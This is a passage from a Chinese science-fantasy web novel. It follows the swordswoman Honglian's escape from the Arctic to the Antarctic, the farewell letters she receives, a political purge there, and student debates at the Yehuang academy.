“现在情况不允许意气用事，理智点吧，红莲，我缠住并引开它，你们向岸防连城移动，这样能避免我失手，大家全队覆没。” 她说完就站住了，红莲明白她要缩短与闪光的距离才能优先成为目标，红莲也站住了，向她走了半步，风信子就举剑威逼。 红莲转身去追最南的两人，她见识过单个侍灵的恐怖战斗力，风信子肯定也没和侍灵交手过，但身有0元素加持的风信子或许有一战之力，红莲想到这个稍有安心，可她心里有什么奇怪的违和感，有个她没想到的要点被忽视了。自己和晴灯在创造0元素时设计了中立的评分系统，1星到10星标明使用者的强度。 “等等！” 红莲并脚急停，搓起一柱雪浪，她忽然想起风信子腰带上有四个黑星，那是0元素构成的标识，说明风信子的实力已经被评为强度很高的0元素使用者，万一她实力远高于侍灵，就有可能杀死它。 现在北极的局势悬若危卵，如果人类在毫无准备的情况下引发与灵能会的战争，必然造成北极九成人类死亡。 红莲扭身用出绝命剑，技增加体能，拼命向东北方搜寻风信子的身影。 一银一白的两个人影在纷繁暴雪中交错身位跳着舞蹈，红莲上次见识侍灵的武技，就发现了它非常擅长与人类作战，不仅有人体无法做到的古怪动作，还能高速平移闪躲，证明它十分了解人类的攻击方式，这很可能是侍灵在最终战争学会的技巧，水母头内的程序将战斗技巧复制给了每个侍灵。 红莲跨步一跃落地，转为滑行突进，顺直长剑用这一个突刺杀向风信子背后，她这一命剑技目的在于挡掉风信子即将对侍灵水母头做出的弯腰上刺，风信子这剑非常极限，必然超出侍灵的预判。 “我真想砍死你！” 风信子回身架开红莲的攻击，侍灵的银刀却立刻从上方劈来，但两人的剑由于对冲都弹开了，无法格挡这下攻击，风信子环抱红莲，用背接住了这一下攻击，身高优势让她还能向后倒伏，两人就在雪中翻滚了5米后站起重新与侍灵对峙。 “我说身后怎么有杀气冲来！你特么的到底是哪派的！” “不能杀死它！绝对不能，风信子你刚才的一剑差点毁灭世界！” 风信子懵了，她不懂除自己以外的任何事情，她摸摸背部并无异常，但能感觉到身体的力量下降了不少。 要在不攻击侍灵的情况下，引开侍灵啊，这难度让风信子往常的冰美人脸孔做出愁容。 “行！红莲大小姐您快点给我滚开！我们在岸防连城最东城区码头汇合。” “风信子前辈！请多保重！” “快走！” 风信子斥走红莲，就冲上去佯攻侍灵，侍灵意图追击红莲时，她还要再用黑剑做出必要的攻击。这样密集的剑雨虽然能缠住侍灵，但动作极为不雅，这加剧了风信子的烦躁，她心中萌生了一个念头，以后如果有机会，一定要砍红莲两剑。 远走他乡 灵能会载具工业带往南的雪原摆着零散的重炮阵地，简陋焊接火炮与下方履带底盘重量明显不匹配，红莲目测这些是黑白临时开发制造的装备，组成的阵地成六角形排布，尽可能的覆盖了工业带和岸防连城防线的空白地区，一个浅粉发色的双马尾少女扶着火炮向红莲招手，是强风副官。 “红莲将军，晴灯博士和橡树在码头等您，还有一个来自天家的不速之客。” 她从强风手中接过将军帽子和披风，两人跳上支援车，车窗能看到岸防机甲所组成的三道钢铁防线，这些武器面对侍灵大军很可能不堪一击。 “强风！” “您说。” “有句话请你务必带给黑家主，就说0元素实验已经成功了。” “好！您放心吧，听您这么说，您不打算留在北极吗？” 红莲披好披风又摘下帽子，抚摸着金色莲花帽徽。 “贝黑天三位家主各有自己的打算，我人微言轻，多我一个或少我一个战斗人员不会有什么变化，假如局势按最坏的情况发展，南极是人们唯一的出路。我去看看，将来，你我得在南极汇合。” 强风看这身穿黑底白边队服的黑发少女戴上大檐帽。 “红莲大人一向具备大局观，有您做退路，我们能更安心些了。” 全速行驶的支援车轮胎撞到凸起物就腾空起来，车辆吓退过往的岸防队员，径直冲下码头，甩尾刹停在橡树和晴灯面前，红莲迈腿刚下车就看到了元伸手扶她，红莲迟疑了一下才接受元的扶助。 “元，你不该来这。” “我个人其实希望您能留在天家主大人身边，继续劝谏她，我也不想加入侍灵。但我看您去意已决，就不多言了，这里有天家主大人手写的一封信。” 红莲接过就随手塞进兜里，走向橡树和晴灯，查看两人的全身。 这让元明白了她对天家主彻底丧失信心，解释道：“我求您别把她想的太坏。” 红莲严肃的说：“元师傅，你错了，我懒的去想她，她不坏，她就是一个俗人，按世俗的逻辑苟活，你知道的，没有人能左右她的想法。我在她身边也不过是继续表演小丑戏，我很感谢她最后能留一点良心，放过我，真的，我感谢天家主大人的宽容。” “唉。” 元总想维护天家主和红莲的关系，因为两人的分歧太大了，以后有可能兵戎相见。 “我知道红莲大人到了南极也不安分，这情报算我给您的饯别礼物，灵能会的军力一共五院，实力从低到高，奴隶院机械军团长咖啡60万名人偶，歌剧院院长唱歌者和双副官10万侍灵，忏悔院院长战争执刑和副官兵力源源不断，学者院院长净洁者与三海魔，灵修院院长星神与18徒。最后记住，它们是永生者。天家主推测灵能会在最终战争也曾损失过半，但它们是永生者。好了，我走了，红莲大人，我最后请求您顾念在天家主大人对您有知遇之恩，不要憎恶她了，我们各有天命，都身不由己。” 元对身穿将军队服的红莲深深鞠躬后，转身乘上支援车。离开了。 强风则在信息板上记录了元刚才说的情报，指挥其他岸防队员往一个破旧气垫船里搬运物资。 “这辆是我们以前缴获的南极气垫船，不会被天家和灵能会追踪到，等会南极特使。” 她正说着，就看到烈风搀扶着同样高大的风信子走下码头，红莲和强风快步迎上。 “没事吧，风信子前辈。” “没，体力有耗光了而已，我把侍灵引到废墟埋住才赶过来，你放开我！” 风信子一把退开烈风，她被推的踉跄半步，就拉着强风一起半跪下来。 “ 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陌生的南极有她熟悉的夜兰，而熟悉的北极却渐行渐远，远到似乎再也无法踏上北极的雪地。于是她拆开黑家主的信件，信的前两个字是手写，却写的极为外扭，后面的字都改成机器打印，想来是因为黑家主过度忙于工作，无暇练习签名之外的文字： 黑月 黑月亲笔，哈哈，无奈改成了机打。黑月是我的旧名，我很喜欢这个名字，让我觉得在全黑的夜空中好像存在着黑色的月亮。 不知道你是否还记得，在你六岁时我们见过一面。 那时，受到学术界排挤的晴灯博士是我唯一能接触到的学者，我就去找你们，幼小的你独自接待了我，我看出你当时忍受着疼痛，却还能正常说话和行动。你沉默寡言，蹲缩在墙角的样子让我心疼，我就随口说了练剑能忘记疼痛，我没想到你能一直坚持下来，并成长为这么出色的人才。 或许因为我当年的鲁莽到访，惊动了天弧，天弧是天家主的旧名，不久后她也与你们来往，我替她对你造成的种种不良影响感到愧疚。 我儿时当过天弧的侍卫，和她成为比亲人还亲的姐妹。 她很聪明，利用这智慧，帮她自己和我一步步走到现在的位置，我们有过生死之交，相信我，她以前不是这样。 嗯，或许她以前也这样，只不过我不知道罢了，天弧不做没必要的恶行，我希望她能做出正确的选择。 0元素培养罐在你离开岸防连城后被我封存，直到第二次三家会议后我才认清了现实，可我还是不敢拿队员的生命冒险，黑白建议让残疾的队员自愿参与实验，我们在指挥部地下设施尝试了一次实验，成功了，黑白简单的测试过她的攻防能力，目前只能认定她不会被人类武器伤害，无法确认她能否对抗侍灵。 不过，我们有了可能战胜侍灵的力量，我非常感谢你，红莲，你能把这么强大的力量，无私的分给别人，这格局远超过我，我相信你到达南极会有更大的作为，祝你一切顺利。 当然，今天的人类面对灵能会毫无胜算，所以我也觉得你不必过度苛求自己，到南极好好生活，替我和众人过几天安生日子也是好的。 而且，人类之间很难互相理解，你在南极形单影只，世界是大家的世界，你一个人什么都做不到，就轻松的生活下去吧。 我和岸防连城的大家都能理解并祝福你们，我从你要求把黑莲改名为红莲，就感觉到你终有一天会离开我们。 假如，命运再次将你推到风口浪尖，我想请求红莲，找机会接走岸防连城的队员们，她们无罪，都是最优秀的人，不该在我们三位家主和灵能会的周旋中消耗完。 别的没什么想说的了，红莲，我祝你一路顺风。 泪水滴在信上。 红莲收好信件，推测黑家主和天家主经常语音沟通，这让红莲略微放下了对天家主的戒备，从外兜掏出了她的信，字体娟秀优美，无一错字，想必从不动笔的天家主为了把这封信写的漂亮好看，练了很久吧。 天弧亲笔： 小红莲，好久不见，我们也无法再见了。 我无法成为你。 你更无法理解我，我说的一切理由，在你看来都是狡辩吧。 所以我们就聊点别的，其实黑月满脑子都是挽留你，我却很想让你离开北极，不管你信不信，事实是这样。 因为你在北极不管做什么都是徒劳的，这里有曾经战胜2000万人类联军的灵能会，何必再搭上一个小红莲呢，你和别人不一样，别人都在等死，你却心存幻想，让你这么一个傻瓜陪葬，搞的我们北极人类都没你有骨气，还得看你螳臂当车的样子，都很可笑。 你走吧。 你走了，也没法让我安宁，你在我每天的生活中冒出来质问我，我十分不理解自己当初为什么提拔这么无礼且愚蠢的家伙，你换作别人早死一千遍了。 现在回想幼年的你就是这么令我讨厌，固执的像个石头，给你块点心，你竟敢给我打翻了！利益为何从没能让你屈服呢？我就是带着这种疑惑，好奇的观察并影响着你。 我没想到用了十年功夫，你还是你，我和你如此不同，你让我感觉到一种奇特的友谊，如果你略微能把我当成朋友的话，听我一句劝，在南极好好生活吧。 尽管我从不怀念舒适的日子，但这个时代的大多数普通人没享受过一天，我希望你能过几天好日子，因为你反抗命运，最终的结果得不偿失，古人的决定已经锁死了我们的命运，谁也无法改变了。 我或许只能顺着古人的意愿，加入真理。 抱歉了。 再此之前，我会尽力拖延时间，给你和其他人类，也包括我自己，那条路无法回头，结果肯定使我更身不由己，所以我需要时间再想想。 千言万语就说给我心中的你听吧，我到现在才发现，没留过你的任何影像和照片，只有这点，让我感觉依依不舍。 祝你们在南极生活的更好。 这两封信让红莲泪如泉涌，还获得了一些前往新世界的安心，她起身整理着三人的行李，前途未卜，需要尽量轻便。 自己的包裹中有换下来的天家白裙，这衣服含天家科技，很可能有定位装置。包内有一个铁盒，她打开来看是一个肩章，于是她摸摸队服肩部，想起另一只肩章在天烛手里。铁盒边是机械师父的残破斗篷和几支营养剂，红莲把铁剑也收入包内系好。 她从橡树的包裹里取出白裙，看里面只有一把三弦琴和两张乐谱。晴灯的包裹内有个机械小狗，红莲拍拍它，没反应。她取出三件白裙就扔出车外，抓稳扶手望着南极，气垫船已经安全通过人工岛附近，向海岸最西端行驶了。 伟大的起点 气垫船登陆的方式就让红莲明白了南极与她上次看的情况完全不同了。 人们下船后看到冰海岸边散落着碎裂的冰刺，身边不远处就立着高大的工程机械，这些机械连成望不到边的工业带向东延伸，东部海岸后方有一面形如魔爪的直立山脉挡住内陆。视线沿山脉向西有面深黑色的钢墙，墙夹在东部直立山脉和人们面前的汉堡形雪山腰之间，再看这雪山的山腰长满冰树森林，山顶有座发光的巨塔。 近百名黑衣人员围着他们，向人类阵地内部行走。 红莲看出此地的指挥官对防御设施部署的极为精妙，是高低错落的品字形布置，各火炮阵地间还有交通壕沟医院及指挥部，冰树林间似乎还能看到用于远望的灯塔。 只不过，人类阵地东侧的部署非常杂乱，看起来是最近两天有过变动，附近的几千名机械人偶在雪山脚下，操作工程机械开采矿石，身穿黑衣的近万名人员排成人墙挡着那些人偶。 红莲这时清点了一下海岸的人员，大概有12000多人，与她上次估算2万到3万人数字相差很大。 20名黑衣人员突然挡在红莲三人和风信子之间，包围风信子的人员越来越多，众人一拥而上将她按压在雪里。 一名身穿黑色短裤和长袜，披着黑色军大衣的红发女子走到风信子身前，红莲认得她，是玛丽安将军。 “风信子，我要跟你说件事，你们都压着她干什么！留两个人按住就够了。” 风信子跪在雪中，高傲的她尽力仰头，甩掉头发上和面部的积雪，却又被身后的卫士按住头部，栽进雪地。 “呸，你们几个给我记着，玛丽安！你说吧，我帮女王，怎么帮出罪了！” 玛丽安低头揉脸。 “哎，我！我不适合干这种事，你听着！风信子，你现在只配听！因为我接到的命令是除掉你，所以你听！就行了。对不起啊，我很感谢你能在女王最危难的时候帮助我们。” “呵呵，人。” “对！人。你听着，风家不存在了。你没听错，风家消失了，我干的，现在南极只有你和二公主这两个风家活口。风千阳三家都撤销了，也是我干的，我血洗了风家和阳家的主力，抓捕并斩首了千家主。银雪女王现在更名为恶毒女王，她已经下令南极永久通行管制。风信子，如果不是你的帮助，我们什么都干不成，我杀不了你，你走吧。” 众人齐声大喊：“不能放她走！” 玛丽安怒斥：“我说放就放！风信子，你如果想报仇，现在跟我单挑，以后暗杀我都可以，你俩放开她，我说放开！” 黑衣队员松开风信子，但她还那样跪伏着，像个被黑色狼群围住的白羊。 “报仇？反正大家都是些死人，我才不想脏了自己的手，她在哪？” “风家二公主在安全的地方。” “玛丽安啊，你们可真恶心，丑陋到我不想再看了，人怎么就这么恶心呢。” 风信子不停的叹息着，挺起上身，她双手揉搓着面容，似乎在用力擦掉泪水，闭着双眼爬起来，推开站着不动的人群，孤独的身影消失在冰海面上。 玛丽安单手擦着泪水，走到红莲等人面前。 “不好意思，让你们看到南极的丑态了，你们是贵客，无需担心。” 红莲将橡树和晴灯护在身后。 “我们原本的打算是加入南极，可你们也太狠了，我听说风千阳三家有几十万部队，人类拿到0元素就开始屠杀同族吗！我们是刚出虎穴又入狼窝吗？” “红莲将军，南极的内斗必须根除，死了大概六万人，都是我和御前军团二万五千名忠于女王的成员干的，我现在掌管首都近卫军团总共有十二万兵力，我欢迎你加入我们，你如果不想加入，我也不强求你，你们就去业凰科学院，那里还是灵能会所属，非常安全。晴灯博士要和我去首都风花白夜宫开发0元素，我以自己的性命担保她的安全，南极现在我说的算，你完全可以放心。” “好吧，我能经常去看看晴灯吗？” “可以。” 红莲无奈，转身整理晴灯的斗篷，看出她十分恐惧。 “她们需要你的才能，你现在是最重要的人，不用害怕。你慢慢，研究吧，我安顿好马上去找你。” 玛丽安拉晴灯上了一辆雪橇车，车队行驶上雪山，径直的开向南方。 红莲和橡树则跟随一队黑衣战士向雪山东侧山腰步行，他们要从雪牢关顶端向东走，红莲边走边看海岸上的机械军团，根据元说的情报是六十万。 “我感觉下面的机器人不止六十万。” “六十万？” 红莲身前方的战士回头嘲笑她的眼力，她身后的战士跟在旁边说话。 “红莲将军，我们每天都爬上这堵铁门侦查，它们总数已经超过100万了，并且每天都在增加，所以它们要开采家山里的矿石，刚才走过的雪山其实是古人用矿石堆成的。” “噢，这样啊，那你们就放任机械军团开采矿石？” “不敢和灵能会对着干啊！玛丽安将军说最起码要守住一部分海岸西角，留住一个出海口，不过您看到了，它们贴着人墙挖，压力很大，估计撑不了多久，海岸就完全由灵能会控制了。” “那我们现在是去哪？” 红莲身前的黑衣战士放慢脚步。 “我们带你去那，那山叫空港山脉，门东侧有条滑雪道，虽然难走但很安全。我们从坡道下去，前往赛博空港南面的第一运输局，那有通往业凰的轨道列车，这么走虽然绕，但有交通工具，能更快到达。南极现在的两座主要城市赛博空港和家园堡全由灵能会控制着，不能靠近。恶毒女王用赛博空港南面的两处设施成立了两个运输局，用家园堡南面的两处堡垒成立两个工业局，用以收纳原千家和阳家的人员。” 红莲听忠于女王的战士都叫她恶毒女王，她感到非常不解。 “恶毒？女王？” “等你到了业凰就知道了，嗨，其实也没什么不能说的，玛丽安将军不是说了吗，我们消灭了三家六万人，整个南极的舆论都被女王的作为吓坏了，毕竟命令是女王下达的啊，人们私下就叫女王为恶毒女王，女王知道后欣然接受了这个称呼。总之现在南极实施的威吓统治，只要老实的生活就很安全的。” 姐弟到达第一运输学院外，看这里像火车站，一辆列车从雪山洞中驶出停靠在红莲脚下的站台前，二人乘上列车，前往业凰学院，新的生活便开始了。 红莲在南极面对的是前途渺茫的命运，她和无数个普通的夜星人一样，试图用双手阻挡夜星历史那无可挽回的滚滚车轮。 我们每一个夜星人透过窗户，仰望漆黑夜空的时候，只能在心中祈祷奇迹。 其实历史本身选了主角，这个时代最有把握终结灵能会的人就是天弧，正如她的名字一样是天胡开局，再加上她聪明绝顶，掌握着夜星人类最有力量的资源。 然而近百年来，无论冰雪女王怎么点醒她，她都无动于衷。 也许正是因为天家主的聪明，让她无论何时都以自己的个人利益为先，永生更加剧了这份贪婪。 南极先民流传下来一句谚语，人预感到死亡，就会变的善良。 同样身处高位的冰雪女王，也具备同样的智慧，但她选择给每个南极人类自己争取生机的力量，尽管人们注定是侍灵的刀下之鬼，但死的并不绝望。 这决定是仁慈的，也是危险的，同样享有永生福祉的冰雪女王能预见到自己凌驾于刀山之上，她只是一位温柔善良的贵族女性，没有亲手杀过一个人，没有带队打过一场战斗。 她为了对抗灵能会，保护民众的生命，选择牺牲自己，尽管她明知道自己会被民众杀死，愿她高洁的灵魂前往最美的世界，天佑吾王。 16. 章16南极业凰科学院：智多如星河 城墙与建筑自发的光，经过百代社员调整到让人体感舒服和心情平静的程度，似雪绒大地化身的精灵女子面带微笑。 走廊外，厅门前，总有假山花园，工艺科的社员一向在冰树的配方上精益求精，使枝叶温润如玉，花叶晶莹剔透，用以配合模具设计科社员对白塑长椅造型的苛刻审美。 雪面质感的地砖之内还封存了自然洒落的金质树叶，是擅长材料学的前辈们留下的杰作，还是她们共同为庭院精心雕琢的唯美装饰。 研修服务学的少女，遥控保洁机器人例行擦拭桌椅上的微尘，像极了白雪仙子始终如一的自律，漫步于亭台楼阁的社员们举止端庄，衣香飘逸，令人联想到自然之母的优美气息。 （注释：有工作的人称社员，待业的人称市民。） “早安。” 在冰树下的花瓶造型雕像处，望江南被谁从身后叫住了。 被叫住的话，要优雅的转身，然后把脸正视对方，不管如何，首先微笑。 “早安。” “上午的打扫工作结束了，还能适应在业凰研学的生活节奏么？” 望江南轻缓的点头，点击保洁机器人头部的液晶屏幕，这是由三截履带式擦洗装置组合的简易机械，待机模式会折叠成三角形，自动返回位于角落的充电区，融入墙体。 “适应到是适应了，主要是业凰内部的舆论氛围让我有些糊涂，有的人笃信灵能学，有的人则批评她们，有的人私自研修军事学，大家好像在各干各的，彼此用礼貌保持表面和气，可是每个人又对我很好，我不清楚这里到底追求什么？” 两人在台阶旁等待同学过去，缓步进入白石圆柱支撑的走廊，在石柱间的石板凳面上坐下，前辈侧身轻抚座面上的金花暗纹，再看花纹延伸到圆柱之上，在柱顶盘成美观的装饰线，视线平视，看着廊内来往的社员们仪态清雅自然，整理好了思绪，给望江南解释。 “业凰成立于最终战争之后，你知道这点么？” 望江南用力点点头，险些抖掉了圆盒形的帽子，她慌忙扶住并将红色长发重新塞进帽内，学姐看到她拘谨的状态，流露善意的微笑，继续说道：“那场战争让南极人死伤无数，所以一直抵触灵能会，建立业凰就是为了传播灵能进化思想，但收效甚微，于是灵能会在科技方面压制南极，将6分的科学技术通过业凰慢慢传授给南极人，南北极关系紧张的年代，甚至中断了教学。” 学姐习惯性的整理了一下领口的披肩束带和束腹连衣裙上的褶皱，再揉白衬衫的袖口，白色与浅蓝色是业凰制服的色调，据服装设计学的社员称，这是追忆光星曾经的天空。 “新科技是在旧科技基础上演化而来的，历代社员就以5分知识库为基础，逐渐开发和整理出了6分知识库，这是一项伟大的工程，我们所有社员都将他们的贡献铭记心中，并沿着前人的道路，一点点获取7分知识库，缓解南极人先天疾病的先进治疗椅就是业凰的杰作，大家一直没有放弃，望江南同学，你明白吗？大家希望用知识改变命运。” 望江南也是南极人，她感同身受，敬佩业凰社员的骨气，扶住帽子再次点头。 “所以学术讨论是业凰的主要氛围，科学技术是建立在哲学思辨上的，哪种理论在这里都会遭到同学们的挑战，为的是接近事实真相，一部分同学认为灵能学有可取之处，我也赞同这点，但这不代表我和她们支持灵能会，还有些社员谴责女王和玛丽安将军屠杀三家部队，这也是基于南极公道的观点，希望你能理解。” 指派望江南来业凰科学院研修服务学的是前王权兵团长曼达，恶毒女王执政后将兵权统一交给闺蜜玛丽安将军，曼达被调往新成立的服务局，负责安保，治安，医疗，侍奉等服务于王室贵族的工作统称为服务学。 望江南的立场更靠近女王，她很想搞明白业凰是不是利益至上的思维，于是发问了。 “那么，业凰社员的行事标准是什么呢？哪派给的利益多就服务于哪派吗？” 学姐嘟嘴并皱眉，望江南意识到自己说话太直截了当，伤害了对方的尊严。 “抱歉。” “没事，我个人觉得王室的存在是必要的，需要有个能代表南极的象征性组织。业凰的社员主要有两派，一派是北极贝家的金发人，她们负责教学和管理，傲慢无礼，一向瞧不起出身南极三家的另一派，我们保持的礼仪规范就是不想被她们在品德和举止方面提出质疑，要让那些女人只剩守财奴和特权身份，在学术为主的业凰就不敢造次。历代的无数前辈团结在一起，付出鲜血和生命，不断抗争，才让她们取消了安保机器人并给予我们一定程度的自主，女王成立的其他五局完全由社员管理的运营方式，就是出自业凰。” 望江南感觉跟聪明人谈话很特别，对方能明白自己提问的动机，就点头说：“原来如此。” “贝家甘心当灵能会的奴隶，志向当外星人，不是人了。我们都是人类，人类就是业凰社员的立场，由此衍生出的共情和良知，是我们的行为原则。如果说我们需要信仰点什么的话，那就是自然科学。” 学姐的一番话打消了望江南心中的顾虑，使她敞开心扉，激动的用双手握住学姐的手，学姐将另一只手盖在她的手上，两人释怀的笑着。 走廊中的行人纷纷止步，关注一位黑发少女，浅蓝色的披肩和束腰裙一点都没减弱她的英飒气质，175CM的身高使得众人都需要仰视她，精健的体魄让她的步幅迅捷而利落，带动长发自然挥洒，冷美人的面容上表情高傲，目光锐利如炬，她整个人展现一种知行合一的旁若无人的绝对专注力，这恰好是社员们渴求的人格境界，而她的武者气质和中性身姿唤醒了女孩们的爱慕心。 她走的很快，身后的社员们窃窃私语，甚至有社员偷偷跟着她，走廊里的社员打听她的来历，人际关系话题还是女生们的最爱。 一个女生几番打听过后，走到望江南和学姐面前。 “早安！你们刚才聊啥呐？那么开心？” “啊？哦？早安，我给新来的学妹介绍学院的情况。” “噢。” 女生走到望江南面前，摆手打招呼，发现她面红耳赤的发呆，就在她眼前晃晃手。 “哈，这新来的女孩都看呆啦！确实太帅了，怎么有这么帅气的人，你摸摸我的脸也红的发烫呢！” 她说完，凑到学姐面前，学姐揉捏着她的脸，也想知道刚才走过的黑发女子的信息。 “我听说北极来了两个人，一个黑发，一个棕发，我平时对这些八卦没兴趣，你刚才打听到啥了？老实交待。” “听说是从岸防连城逃过来的将军。” “将军！怪不得气质非凡，名字？” “红莲。” 女生坐到学姐和望江南之间，揉揉脸后，继续说：“可了不得！据说跟玛丽安将军打成过平手！” “那来业凰干什么呢？” “听说是来投奔玛丽安，但反感三家惨案，于是就加入业凰了，痴迷军事学的人非常在意她，认为她是给南极带来希望的救星，就从外界探听到很多消息呢。” 学姐听完点头后问：“那你们凑什么热闹呢？” “她们言之有理啊，听说这人不仅加入过博物馆都市，还曾是天家主的属下，知晓灵能会的大量信息，对于消息闭塞中的南极，太重要了！” “万一是灵能会或者天家主派来的奸细呢？” “南极这么弱，有必要派奸细嘛？再说她是玛丽安认可的人，北极黑家一向跟天家不和，她应该是站在南极这边的，另外，她脑子里有7分知识库呢。” “7分！” “是啊，文武双全，最近一周，校内网的生活聊天板块不间断分享她出现的位置信息，大家都想看一看她。” “那你们跟她说过话吗？” “没有。” 学姐听完，一脸震惊的看着那女生。 “你看我干啥？你自己刚才看到了，她浑身上下散发着不好惹的气息，谁敢搭话啊？再说她好像认识图书馆的天烛和剑术部的夜兰，对！剑术部部长铃兰肯定跟她说过话！我去提醒武斗派的社员，让她们再打听点新消息！” 女生跳起来，加入人群的谈论中了。 学姐则牵起望江南的手，带她往历史与管理学科大厅走去。 灰白相间的光滑大理石砖地面自带一条仿地毯纹路，两侧的白色墙壁上的边角和门框都是金线勾勒花纹，就连屋顶都有雅致的金花走线，业凰建筑内外的一切都显示了主宰夜星数千年的贝家这高雅品味和无上财力。 刚才的经历让望江南想展示真实的自己，就积极的问了。 “请问武斗派是？” 学姐没松开手，两人欣喜的前后摆动牵着的手。 “对，想说什么就说，谈论对立观点从不妨碍我们的友情。武斗派是笼统的学术流派，成员有工业学中的武器研发科，体育学中的格斗技术科，管理学中的军事指挥科等等，只要是投身保卫南极事业的社员都能被纳入武斗派，女王的部队太过孱弱，我认为武斗派是必要的，她们的技术支撑着南极具备一点跟灵能会谈条件的实力。冰雪女王之死和三家惨案提升了武斗派的人数，现在她们的人数占南极社员的三分之二，剩下的人称为学术派，我就是这派，我认为发展技术比武装自己更有长远价值，现在还没到必须战斗的时候。” “噢，我明白了，那我们现在去哪？” 两人推开一间课堂的门，屋内的讲台显示屏在墙边落灰，像是久未使用过了。没有外壳的自制计算机伸出的凌乱走线连接了墙边自制微核电柜，一圈计算机桌前坐着一些社员，圈内摆着一张圆桌和十几把椅子，三名女生坐在椅子上，激烈辩论。 “注意脚下。” 学姐提醒望江南并将她带到圆桌边坐下，轻轻对她耳语。 “这是管理学发展研究部，她们整天为观点不同而吵架，我带你听听，适应一下业凰的风格。” 望江南刚点头的功夫，身边的白发女生一敲桌子，站起来吵。 “茧房，茧房，被你一说什么都是茧房！人刚生下来就是无知的！所接触到信息很自然的覆盖人的全部思想，如果信息都是错的，那她就做不对任何事情！古人是无辜的！” 浅黄发色的女孩也站来说话。 “黄金时代过度逐利导致人情消亡呢？” 白发的：“资源和技术匮乏，优先提高人类自身算法，对积累技术是必要的！” 黄发的：“机械时代自动化圈养人类导致容错丧失呢？” 白发的：“我们应该看到，绝大部分人类的欲望和脑力很原始，机械管理世界更有利于人类探索星际空间，机械时代的光星确实创造了伟大的太空工程！” 黄发的：“血肉时代追求永生导致的灭世灾害和伦理缺失呢？” 白发的：“哎？那有什么办法！古人自认为做了对的事情，人情消亡导致了伦理缺失，容错丧失引发了灭世灾害，一环套一环，不可避免！完了！等死吧！我们！” 黄发的：“我还想问你灵能时代导致的彷徨虚无呢？你怎么自己就投降了？” 白发的：“我在说历史的客观规律！” 红发的：“你俩争论两年多了，都坐下吧，现在要解决的就是等死观！彷徨和虚无深入人心，我们需要找到一套全新的思维，凝聚并推动全体人类向前发展！” 白发的：“你说的轻巧！主导一个时代的思维是上千学科，数百万本著作，数不清的人和产品共同促成的！就凭我们这一屋子人？等死有什么不好？来吧！侍灵来了，老娘就往地上一躺，随便它怎么杀。” 黄发的：“她说的对，另一方面难点在于，孕育罐科技赋予每人5分知识库，脑中都有千年的科学常识，一个个的都是人精，一般思维已经装不进大家脑中了，都知道最终战争2000万联军没赢，现在做什么都是白费，等死吧哎，带我一个。” 红发的：“你俩等死还考业凰干啥！赶紧滚！滚出我的研究部！” 白发的：“这不是心存侥幸嘛？万一有什么办法呢？” 黄发的：“对对。” 红发的：“新来的！说说怎么改变现状！” 学姐指了一下自己，再指着望江南，望江南指着自己，茫然无措的开始说话了。 “我？我觉得？自然科学和良心应该能凝聚大家。” “哎~” 三人讨论组和电脑桌前的旁听者一齐发出哀叹。 红发的：“动力，唉，人们没有行动的动力，失败注定，业凰以破罐破摔的态度凑合努点力，我估计别的局是纯等死。唉，算了，你毕竟是新来的，恭喜加入，常来玩吧！” 小说作者在这里要重点讲一下南极人文形式，自动化机械承担了所有劳动，研发和操作各种应用的人称为社员，年龄从16到百岁不等，暂时没有研发方向的人称为市民。南极从最终战争开始，一直采取战时经济，科学院也是通常意义上的局，负责发展科技，其他局负责应用技术，制造自动机械。 学姐觉得望江南恢复了初见时的活泼神采，二人未用电梯，从白石山体外侧的盘山走廊一路向下，由于女王颁布的通行禁令限制，社员们只能眺望外界的夜空和白雪大地。 人们走到巨型凤凰石雕的羽翼范围，视线受到遮挡，台阶坡度变陡，社员各自低头专心下山，这学妹的瘦弱上身使得披肩耷拉到小臂，看起来松松垮垮，就显得她头很大，脑后的头发被一个发卡夹住，露着细嫩的脖颈，再看她迈腿下台阶露出的大腿肉，却显丰盈，是久坐形成的体态。 “江南你好瘦，不喜欢营养剂的味道么？” 她靠边让路，扶山体并抬头微笑，圆饼形的蓝色帽子和斜刘海红发增添了她亮蓝眼睛中的光彩，小嘴微张，让观者如沐阳光夏风。 “是呢，我饿极了才吃一瓶，有时候几周都忘记吃饭。” “那怎么行，不能光靠治疗椅输液维持健康，还有你太缺乏运动了，看你大腿比腰都粗！” 学姐去抓她的腿，望江南欢笑着躲闪，她们嬉闹的往山下走。 “江南你不吃饭是因为工作很忙吗？” “嗯？现在有通行禁令，我每天用四个小时就能布置完服务局的后勤调度工作。” “四个小时？全南极的生活和战备物资安排就做完了？真厉害！” “每天差不多一样，大多数时候是微调，哈哈，所以有大把空闲时间，我不喜欢让脑子闲下来，总得找点有用处的知识学习才感到开心，这样就总忘记吃饭和睡觉。” 真厉害啊。 学姐在心里说着，惭愧之余感慨业凰之外居然还有很多人才呢。 “我看很多社员脖子和手指上戴着V符号的饰品，是什么意思呢？” 学姐抬手看了一下中指上的V形戒指，然后说：“你说这个呀？” “嗯！” “这是南大陆的传统文化符号呀，风之符文V，你不知道吗？” “知道，可是我在外面很少看到。” “噢，也是风之部落的图腾，女王想把风家赶尽杀绝，讨厌这个符号哎，正好，我带你看看自然科学和知爱观的结合点，风之语研究部。” 她俩的脚踏上业凰最底层的地面，湿润的地砖与学院外的雪原处于同一平面，意味着高耸的白色石墙后方就是内陆雪原了。 墙边有一个石柱门厅，右侧有一间夹在石山和石墙之间的石屋，望江南进屋前看到门牌上写着：脑科与天然契约风之语研究部。 屋子的后墙和屋顶是透明玻璃，左是山壁，右是石墙，可以看出这间研究部的场地是南极社员自行搭建的，采光很好，近百人坐在石凳上，倾听讲台上的三人用低语在谈论。 戴制服配套的帽子的女生简称戴帽子的，没戴帽子的两个女生简称短发和高马尾。 戴帽子的：“我再重申，追溯远古，从原始人将自然的闪电和风暴拟人成雷神和风神开始，我们人类就一直用自己当标准认知世界，直到数学演化出蒸汽动力机械，不具备生命的半自动机械迫使人类思维变得工具化，也就是从新元元年开始，机器就已经取代了人类，此后的岁月中，人类不过是机器的细胞，为它打造完美的躯体。” 